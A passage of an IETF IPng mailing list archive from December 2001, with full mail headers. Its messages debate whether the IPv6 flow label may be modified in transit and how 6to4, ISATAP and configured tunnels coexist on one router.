@RFNnJEg~WZ/(8<`5a),-7ukALWa^&?&D2R0CSG3kO5~#6JxLF\d,g">$%B!0w{W)qIhmwhye104zd bUcI'1! Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Francis Dupont writes: > In your previous mail you wrote: > > The current draft states that a non-zero label could be changed by an > intermediate node to a non-zero value. However, during the discussion on the > topic in SLC it was concluded (IMO) that this is undesirable, and it would > be more useful (and sound) to keep the value always immutable (end-to-end). > > => I disagree: if the end node is too dumb to set itself the label > (i.e. just uses in any case the zero value) and the first router > for instance sets the label when needed then the zero value should > not be immutable. I don't use dumb hosts (:-) but it seems this kind of > things already commonly happens for RSVP in the real world so we should > keep the door open... So I fully share Robert Elz's opinion. I'm afraid this brings us back to the slippery slope of edge-remarkers and the layer violation of routers wanting to look at L4+ headers, and the inherent difficulty/impossibility. Please, let's not go there again. > AH: It could be possible to change AH, but it might not be worth it. > > => Robert Elz has just explained why we must not change AH... > And it seems you don't understand that AH can't really help to protect > something in transit, i.e. intermediate routers have not the key and > can't verify the AH MAC. If there's a change that will happen to AH it will be moving it to Historic. Mike -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Thu Dec 20 10:23:04 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBKIN4ZR025900 for ; Thu, 20 Dec 2001 10:23:04 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3/Submit) id fBKIN4oa025899 for ipng-dist; Thu, 20 Dec 2001 10:23:04 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail3.Eng.Sun.COM (engmail3 [129.144.170.5]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBKIN0ZR025892 for ; Thu, 20 Dec 2001 10:23:00 -0800 (PST) Received: from saturn.sun.com (saturn.EBay.Sun.COM [129.150.69.2]) by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id KAA25860 for ; Thu, 20 Dec 2001 10:23:03 -0800 (PST) Received: from sj-msg-core-1.cisco.com (sj-msg-core-1.cisco.com [171.71.163.11]) by saturn.sun.com (8.9.3+Sun/8.9.3) with ESMTP id KAA10453 for ; Thu, 20 Dec 2001 10:23:03 -0800 (PST) Received: from mira-sjc5-7.cisco.com (mira-sjc5-7.cisco.com [171.71.163.27]) by sj-msg-core-1.cisco.com (8.11.3/8.9.1) with ESMTP id fBKIMpY04570; Thu, 20 Dec 2001 10:22:51 -0800 (PST) Received: from thomasm-u1.cisco.com (thomasm-u1.cisco.com [128.107.140.53]) by mira-sjc5-7.cisco.com (Mirapoint) with ESMTP id AAO16351; Thu, 20 Dec 2001 10:22:17 -0800 (PST) Received: (thomasm@localhost) by thomasm-u1.cisco.com (8.8.8-Cisco List Logging/CISCO.WS.1.2) id KAA06641; Thu, 20 Dec 2001 10:22:50 -0800 (PST) From: Michael Thomas MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15394.11386.760589.416606@thomasm-u1.cisco.com> Date: Thu, 20 Dec 2001 10:22:50 -0800 (PST) To: Francis Dupont Cc: jarno.rajahalme@nokia.com, kre@munnari.OZ.AU, brian@hursley.ibm.com, ipng@sunroof.eng.sun.com Subject: Re: draft-rajahalme-ipv6-flow-label-00.txt In-Reply-To: <200112201655.fBKGt1D64967@givry.rennes.enst-bretagne.fr> References: <009CA59D1752DD448E07F8EB2F91175719808F@esebe004.NOE.Nokia.com> <200112201655.fBKGt1D64967@givry.rennes.enst-bretagne.fr> X-Mailer: VM 6.72 under 21.1 (patch 6) "Big Bend" XEmacs Lucid X-Face: &,heK/V66p?[2!i|tVn,9lN0TUvEv7:9FzXREj/AuzN4mu!4x[/Z4t{V}~L]+Sk @RFNnJEg~WZ/(8<`5a),-7ukALWa^&?&D2R0CSG3kO5~#6JxLF\d,g">$%B!0w{W)qIhmwhye104zd bUcI'1! Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Francis Dupont writes: > => I didn't say that dumb host/smart router is good, I did say this is > a common scenario. But I am tired of flow label discussions, usually > they go nowhere. Please count me as a "keep current (non) specs" supporter. So here's the end-game for the flow label allowing for dumb hosts/smart routers: MIDCOM. Can we just say no? Mike -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Thu Dec 20 10:28:32 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBKISVZR025939 for ; Thu, 20 Dec 2001 10:28:31 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3/Submit) id fBKISV7t025938 for ipng-dist; Thu, 20 Dec 2001 10:28:31 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBKISOZR025923; Thu, 20 Dec 2001 10:28:24 -0800 (PST) Received: from saturn.sun.com (saturn.EBay.Sun.COM [129.150.69.2]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id KAA06885; Thu, 20 Dec 2001 10:28:26 -0800 (PST) Received: from smtp.tndh.net (evrtwa1-ar8-4-60-069-141.vz.dsl.gtei.net [4.60.69.141]) by saturn.sun.com (8.9.3+Sun/8.9.3) with ESMTP id KAA13473; Thu, 20 Dec 2001 10:28:26 -0800 (PST) Received: by smtp.tndh.net from localhost (router,SLMail V3.2); Thu, 20 Dec 2001 10:28:13 -0800 Received: from eagleswings [127.0.0.1] by smtp.tndh.net [4.60.68.77] (SLmail 3.2.3113) with SMTP id D1B0FC27AB6A48889E8B4F7DF522ADC4 for plus 4 more; Thu, 20 Dec 2001 10:28:13 -0800 From: "Tony Hain" To: "Brian E Carpenter" Cc: "Pekka Savola" , "Vladislav Yasevich" , , Subject: RE: (ngtrans) remote netaccess-threats via automatic tunneling Date: Thu, 20 Dec 2001 10:23:09 -0800 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="US-ASCII" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0) X-MIMEOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 Importance: Normal In-Reply-To: <3C21B057.52CA95D4@hursley.ibm.com> X-SLUIDL: 47D4174A-C57C4D4F-AECDD5B8-031877D5 Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Brian E Carpenter wrote: > I'd say that was a wise precaution in a 6to4 decapsulator; I can't see > any legitimate reason to accept a link-local destination address from > a 6to4 relay. (There's a legitimate use of link-local source addresses > in the 6to4 multicast case, but only for MLD reports, and I > think we could > require hop limit = 1 in that case if we wanted.) I did present a case in my 6to4-scale draft, but that was specific to ICMP between a 6to4-router and 6to4-relay for RS/RA use in NUD. To address the spoofing issue I used a random value generated by the 6to4-router to be echoed by the relay. In any case there was not much interest in that path, so as you say there are no current reasons beyond multicast. Tony -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Thu Dec 20 10:43:20 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBKIhKZR026147 for ; Thu, 20 Dec 2001 10:43:20 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3/Submit) id fBKIhKem026145 for ipng-dist; Thu, 20 Dec 2001 10:43:20 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBKIhGZR026133; Thu, 20 Dec 2001 10:43:16 -0800 (PST) Received: from kathmandu.sun.com (kathmandu.Central.Sun.COM [129.147.5.36]) by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id KAA13139; Thu, 20 Dec 2001 10:43:19 -0800 (PST) Received: from sfo.erg.sri.com ([128.18.4.100]) by kathmandu.sun.com (8.9.3+Sun/8.9.3) with ESMTP id LAA15153; Thu, 20 Dec 2001 11:43:18 -0700 (MST) Received: from erg.sri.com (walleye.erg.sri.com [128.18.4.214]) by sfo.erg.sri.com (8.9.1/8.9.1) with ESMTP id KAA03731; Thu, 20 Dec 2001 10:41:39 -0800 (PST) Message-ID: <3C223129.BBE3149E@erg.sri.com> Date: Thu, 20 Dec 2001 10:42:49 -0800 From: "Fred L. Templin" X-Mailer: Mozilla 4.76 [en] (WinNT; U) X-Accept-Language: en MIME-Version: 1.0 To: Pekka Savola CC: ngtrans@sunroof.eng.sun.com, ipng@sunroof.eng.sun.com, templin@erg.sri.com Subject: Re: (ngtrans) remote netaccess-threats via automatic tunneling References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Pekka, Let me respond to the below from the perspective of ISATAP and 6to4 tunnel mechanisms at work in the same machine. For example, let us suppose that a 6to4 router is also acting as an ISATAP router. In this case, there will be (at least) *two* distinct tunnel pseudo-interfaces; one for 6to4 and one for ISATAP. These pseudo-interfaces *may* bind to the same physical link, but they need not do so and (in practice) often will not. In any case, however, the tunnel pseudo-interfaces are uniquely identified by the IPv4 address assigned to each. As long as different IPv4 addresses are assigned to the different tunnel pseudo-interfaces (a configuration requirement for FreeBSD and Linux, at least), there will never be a case of ambiguity such as the one you describe below. Note that if a single physical link were used, this would mean assigning two or more IPv4 addresses to the same link. But, all OS's I work with support this. Am I belaboring an already obvious point? Fred templin@erg.sri.com Pekka Savola wrote: > > First, let me point out a property of overloading protocol 41, from my > draft: > > --8<-- > There is a problem with multiple transition mechanisms if security is > implemented. This may vary a bit from implementation to > implementation. > > Consider three mechanisms using automatic tunneling: 6to4, ISATAP > [ISATAP] and Automatic Tunneling using Compatible Addresses [MECH]. > > All of these use IP-IP (protocol 41) [IPIP] IPv4 encapsulation with, > more or less, a pseudo-interface. > > When a router, which has any two of these enabled, receives an IPv4 > encapsulated IPv6 packet: > > src_v4 = 10.0.0.1 > dst_v4 = 20.20.20.20 > src = 3ffe:ffff::1 > dst = 2002:1010:1010::2 > > what can it do? How should it decide which transitionary mechanism > this belongs to; there is no "transitionary mechanism number" in IPv6 > or IPv4 header to signify this. > > Without any kind of security checks (in any of implemented methods) > these often just "work" as the mechanisms aren't differentiated but > handled in "one big lump". > > Configured tunneling [MECH] does not suffer from this as it is point- > to-point, and based on src/dst pairs of both IPv4 and IPv6 addresses > it can be deduced which logical tunnel interface is in the question. > > Solutions for this include not using more than one automatic > tunneling mechanisms in the same system or binding different > mechanisms to different IPv4 addresses. > --8<-- -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Thu Dec 20 10:47:38 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBKIlcZR026344 for ; Thu, 20 Dec 2001 10:47:38 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3/Submit) id fBKIlc9v026343 for ipng-dist; Thu, 20 Dec 2001 10:47:38 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBKIlYZR026336 for ; Thu, 20 Dec 2001 10:47:34 -0800 (PST) Received: from venus.sun.com (venus.EBay.Sun.COM [129.150.69.5]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id KAA11494 for ; Thu, 20 Dec 2001 10:47:37 -0800 (PST) Received: from mail.wrs.com (unknown-1-11.windriver.com [147.11.1.11]) by venus.sun.com (8.9.3+Sun/8.9.3) with ESMTP id KAA17166 for ; Thu, 20 Dec 2001 10:47:35 -0800 (PST) Received: from kenawang ([128.224.4.111]) by mail.wrs.com (8.9.3/8.9.1) with ESMTP id KAA12474; Thu, 20 Dec 2001 10:46:36 -0800 (PST) Message-Id: <4.2.2.20011220133537.024a12e0@mail.windriver.com> X-Sender: mrw@mail.windriver.com X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.2 Date: Thu, 20 Dec 2001 13:45:22 -0500 To: "Tony Hain" From: Margaret Wasserman Subject: RE: draft-rajahalme-ipv6-flow-label-00.txt Cc: In-Reply-To: References: <4.2.2.20011220104605.024d1150@mail.windriver.com> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk >It is valid to say that a flow label can not be used in isolation, but I >believe you are locking it too tightly to current implementations of QoS >handling. If we consider that the flow label could be used as a modifier >to a DSCP, flow lifetime is irrelevant, or more properly 'this packet'. In this case, there would still be a (degenerate) flow-establishment mechanism in use. The originating host, and routers in the path, would need to know that the purpose of the flow label (for this traffic, anyway) is to modify/augment the DSCP, and they would know that the flow lifetime was for a single packet only. In this case, the flow label values should be specified as part of the DSCP modification/augmentation mechanism. No special treatment of the flow label would be required by IPv6 nodes that were not using that mechanism. >One conceptual use of a DSCP/FL pair would be to manage congestion on a >DSCP queue either dropping all packets of a single flow or ensuring the >drops are spread across random flows. The choice would depend on the >intended service level of the queue. There is not way to identify "all packets of a single flow" without having a set of fields that identify a unique flow (src addr, dest addr and flow label?) PLUS the concept of a flow lifetime. Otherwise, you may end up dropping packets that belong to a later flow that just happens to share the same flow label. >Hosts or routers that do not support the functions of the Flow Label >field are required to set the field to zero when originating a packet, >and ignore the field when receiving a packet. All routers are required >to pass the field on unchanged when forwarding a packet. Why would we want to restrict possible flow-management mechanisms in this (somewhat arbitrary) way? I think that the question of whether the flow label can be modified en route should be left to the specific flow-management mechanism. Margaret -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Thu Dec 20 11:11:11 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBKJBBZR026885 for ; Thu, 20 Dec 2001 11:11:11 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3/Submit) id fBKJBB5G026884 for ipng-dist; Thu, 20 Dec 2001 11:11:11 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBKJB8ZR026877 for ; Thu, 20 Dec 2001 11:11:08 -0800 (PST) Received: from saturn.sun.com (saturn.EBay.Sun.COM [129.150.69.2]) by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id LAA21831 for ; Thu, 20 Dec 2001 11:11:09 -0800 (PST) Received: from smtp.tndh.net (evrtwa1-ar8-4-60-069-141.vz.dsl.gtei.net [4.60.69.141]) by saturn.sun.com (8.9.3+Sun/8.9.3) with ESMTP id LAA04263 for ; Thu, 20 Dec 2001 11:11:08 -0800 (PST) Received: by smtp.tndh.net from localhost (router,SLMail V3.2); Thu, 20 Dec 2001 11:11:06 -0800 Received: from eagleswings [127.0.0.1] by smtp.tndh.net [4.60.68.77] (SLmail 3.2.3113) with SMTP id A0F882B42E864D31BAC17BB459386F57 for plus 1 more; Thu, 20 Dec 2001 11:11:06 -0800 From: "Tony Hain" To: "Margaret Wasserman" Cc: Subject: RE: draft-rajahalme-ipv6-flow-label-00.txt Date: Thu, 20 Dec 2001 11:06:02 -0800 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="US-ASCII" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0) X-MIMEOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 Importance: Normal In-Reply-To: <4.2.2.20011220133537.024a12e0@mail.windriver.com> X-SLUIDL: 76A2F676-2DEC4690-B0CEF00F-1D1D781D Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Margaret Wasserman wrote: > There is not way to identify "all packets of a single flow" without > having a set of fields that identify a unique flow (src addr, dest > addr and flow label?) PLUS the concept of a flow lifetime. > Otherwise, you may end up dropping packets that belong to a later > flow that just happens to share the same flow label. No argument, but why is that a problem? If a router is managing queue congestion by dropping all packets between src/dst with a specific flow label, why would it matter that a subsiquent flow was affected? In this context the lifetime that matters is the period of congestion, and we really don't want the router maintaining state for any longer than that if it is not already participating in a signalling scheme. > Why would we want to restrict possible flow-management mechanisms in > this (somewhat arbitrary) way? I think that the question of whether > the flow label can be modified en route should be left to the > specific flow-management mechanism. Absolutely NOT!!! We already have too many mechanisms that allow/encourage the value to be modified in route, and this field is the only one we have left that can have meaning end-to-end. THERE IS NO REASON TO CREATE ANOTHER ONE! We need to take an architectural stand here and say that if you want to modify something along the path use the DSCP or MPLS or VPN or GRE or your favorite random scheme. The host/application needs a way to inform anyone along the path that may care, 'this set of packets belong together'. If we allow violation of that principle simply because the control freaks want to be able to modify anything and everything, we might as well give up on ever having applications that expect more than random treatment from the network. Tony -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Thu Dec 20 11:15:44 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBKJFiZR026938 for ; Thu, 20 Dec 2001 11:15:44 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3/Submit) id fBKJFiXi026937 for ipng-dist; Thu, 20 Dec 2001 11:15:44 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBKJFfZR026930 for ; Thu, 20 Dec 2001 11:15:41 -0800 (PST) Received: from patan.sun.com (patan.Central.Sun.COM [129.147.5.43]) by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id LAA23217 for ; Thu, 20 Dec 2001 11:15:40 -0800 (PST) Received: from titan.bieringer.de (mail.bieringer.de [195.226.187.51]) by patan.sun.com (8.9.3+Sun/8.9.3) with SMTP id MAA03770 for ; Thu, 20 Dec 2001 12:15:21 -0700 (MST) Received: (qmail 15994 invoked from network); 20 Dec 2001 19:15:33 -0000 Received: from pd950fab5.dip.t-dialin.net (HELO worker.muc.bieringer.de) (217.80.250.181) by mail.bieringer.de with SMTP; 20 Dec 2001 19:15:33 -0000 Date: Thu, 20 Dec 2001 20:17:41 +0100 From: Peter Bieringer To: ipng@sunroof.eng.sun.com Subject: Re: (ngtrans) remote netaccess-threats via automatic tunneling Message-ID: <147140000.1008875861@localhost> In-Reply-To: <7t5zo4dan09.fsf@mrwint.cisco.com> References: <200112201554.fBKFsoD64364@givry.rennes.enst-bretagne.fr> <7t5zo4dan09.fsf@mrwint.cisco.com> X-Mailer: Mulberry/2.1.1 (Linux/x86) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Content-Disposition: inline Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk --On Thursday, December 20, 2001 04:12:54 PM +0000 Ole Troan wrote: >> In your previous mail you wrote: >> >> In this case, consider a node which has configured tunnels, >> autotunnel and 6to4. >> >> => be serious, autotunnels are phased out, configured tunnels and >> 6to4 are mutually exclusive... > > mutually exclusive? I don't think so. > > as was pointed out earlier as long as one uses a different IPv4 > source address for the different point to multi-point tunnelling > mechanisms there is no problem demultiplexing the packet to the > correct tunnel interface. I use such scenario in real life for my home office network (dynamic IPv4 on gateway). configured (a static prefix): homeoffice <-> tunnel.bieringer.de <-> 6bone + 6to4: homeoffice <-> 6to4relay <-> 6bone Works very well. Peter -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Thu Dec 20 11:47:16 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBKJlGZR027298 for ; Thu, 20 Dec 2001 11:47:16 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3/Submit) id fBKJlGtZ027297 for ipng-dist; Thu, 20 Dec 2001 11:47:16 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBKJlCZR027290 for ; Thu, 20 Dec 2001 11:47:12 -0800 (PST) Received: from patan.sun.com (patan.Central.Sun.COM [129.147.5.43]) by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id LAA02889 for ; Thu, 20 Dec 2001 11:47:14 -0800 (PST) Received: from laposte.enst-bretagne.fr (laposte.enst-bretagne.fr [192.108.115.3]) by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id MAA27031 for ; Thu, 20 Dec 2001 12:46:55 -0700 (MST) Received: from rsm.rennes.enst-bretagne.fr (rsm.rennes.enst-bretagne.fr [192.44.77.1]) by laposte.enst-bretagne.fr (8.11.6/8.11.6) with ESMTP id fBKJWGI20988; Thu, 20 Dec 2001 20:32:16 +0100 Received: from givry.rennes.enst-bretagne.fr (givry.rennes.enst-bretagne.fr [193.52.74.194]) by rsm.rennes.enst-bretagne.fr (8.8.8/8.8.8) with ESMTP id UAA23467; Thu, 20 Dec 2001 20:32:16 +0100 (MET) Received: from givry.rennes.enst-bretagne.fr (localhost.rennes.enst-bretagne.fr [127.0.0.1]) by givry.rennes.enst-bretagne.fr (8.11.3/8.11.3) with ESMTP id fBKJWGD65882; Thu, 20 Dec 2001 20:32:16 +0100 (CET) (envelope-from dupont@givry.rennes.enst-bretagne.fr) Message-Id: <200112201932.fBKJWGD65882@givry.rennes.enst-bretagne.fr> From: Francis Dupont To: "Hesham Soliman (ERA)" cc: "'jarno.rajahalme@nokia.com'" , kre@munnari.OZ.AU, brian@hursley.ibm.com, ipng@sunroof.eng.sun.com Subject: Re: draft-rajahalme-ipv6-flow-label-00.txt In-reply-to: Your message of Thu, 20 Dec 2001 16:12:24 +0100. <4DA6EA82906FD511BE2F00508BCF053801C4C168@Esealnt861.al.sw.ericsson.se> Date: Thu, 20 Dec 2001 20:32:16 +0100 X-Virus-Scanned: by amavisd-milter (http://amavis.org/) at enst-bretagne.fr Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk In your previous mail you wrote: => It would be good if yu could point out a link perhaps to help me understand the reasons. => there are tons of mails in the archive of this list about that. If breaking the key is a concern you can do things to fix that (e.g. like adding x below). => I agree but... > If we want to make it > more sophisticated then we can add another number > to the hash input (e.g P1 || P2 || x). > Where x can be something specific to this flow. > > => so why not just x (:-)... => Well because not all applications have that luxury of knowing an 'x' beforehand. Also you would have to define for each application what 'x' means. Or define some behaviour in the IPv6 stack based on some shared secret, which again is not always available. => I still don't understand what is the difference between x and hash(P1 || P2 || x) where x can be something specific to this flow. Regards Francis.Dupont@enst-bretagne.fr PS: I can read between the lines that an end-to-end usage of the flow label is proposed. IMHO this is only a waste of bits, the flow label is in the header in order to be available to intermediate nodes. For end-to-end options, a destination header fits better. -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Thu Dec 20 12:04:32 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBKK4WZR027347 for ; Thu, 20 Dec 2001 12:04:32 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3/Submit) id fBKK4WDn027346 for ipng-dist; Thu, 20 Dec 2001 12:04:32 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail3.Eng.Sun.COM (engmail3 [129.144.170.5]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBKK4SZR027339 for ; Thu, 20 Dec 2001 12:04:28 -0800 (PST) Received: from pheriche.sun.com (pheriche.Central.Sun.COM [129.147.5.34]) by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id MAA22807 for ; Thu, 20 Dec 2001 12:04:29 -0800 (PST) Received: from mail.wrs.com (unknown-1-11.windriver.com [147.11.1.11]) by pheriche.sun.com (8.9.3+Sun/8.9.3) with ESMTP id NAA03103 for ; Thu, 20 Dec 2001 13:04:29 -0700 (MST) Received: from kenawang ([128.224.4.111]) by mail.wrs.com (8.9.3/8.9.1) with ESMTP id MAA28638; Thu, 20 Dec 2001 12:03:29 -0800 (PST) Message-Id: <4.2.2.20011220144423.01f5e100@mail.windriver.com> X-Sender: mrw@mail.windriver.com X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.2 Date: Thu, 20 Dec 2001 15:01:43 -0500 To: "Tony Hain" From: Margaret Wasserman Subject: RE: draft-rajahalme-ipv6-flow-label-00.txt Cc: In-Reply-To: References: <4.2.2.20011220133537.024a12e0@mail.windriver.com> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk At 02:06 PM 12/20/01 , Tony Hain wrote: >Absolutely NOT!!! We already have too many mechanisms that >allow/encourage the value to be modified in route, and this field is the >only one we have left that can have meaning end-to-end. THERE IS NO >REASON TO CREATE ANOTHER ONE! We need to take an architectural stand >here and say that if you want to modify something along the path use the >DSCP or MPLS or VPN or GRE or your favorite random scheme. Hmmm... I've apparently hit a nerve here. But, I still don't I get it. What goals would we further by taking "an architectural stand" on this issue? What value would this change add to the existing standards? >The >host/application needs a way to inform anyone along the path that may >care, 'this set of packets belong together'. If we allow violation of >that principle simply because the control freaks want to be able to >modify anything and everything, we might as well give up on ever having >applications that expect more than random treatment from the network. In order for a host/application to _actually_ inform intermediate routers that a set of packets belong together, we would need to define a flow label that achieves that goal. In my opinion, we have two choices: (1) Define these 20-bits of the IPv6 header so that they can be used by any (or many different) flow management system(s). (2) Define specific semantics for this field that can be used by intermediate routers to optimize packet processing, without an external flow-management system. It isn't possible to do both at once. To achieve (1), we should include only the rules required to keep non-flow-managed nodes from interfering with mechanisms that use this field -- those rules are already in RFC 2460. I don't think that we should restrict this field any more than is absolutely necessary. To achieve (2), we should define how routers will identify a _single_ flow using only this field. In my opinion, this would involve some mechanism for the routers to understand the flow lifetime. This should be defined to be safe across source host and router re-boots, etc. I don't understand what we gain by trying to do something in between. And, in either case, I don't understand why this would need to be specified as part of the core IPv6 specifications. Margaret -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- 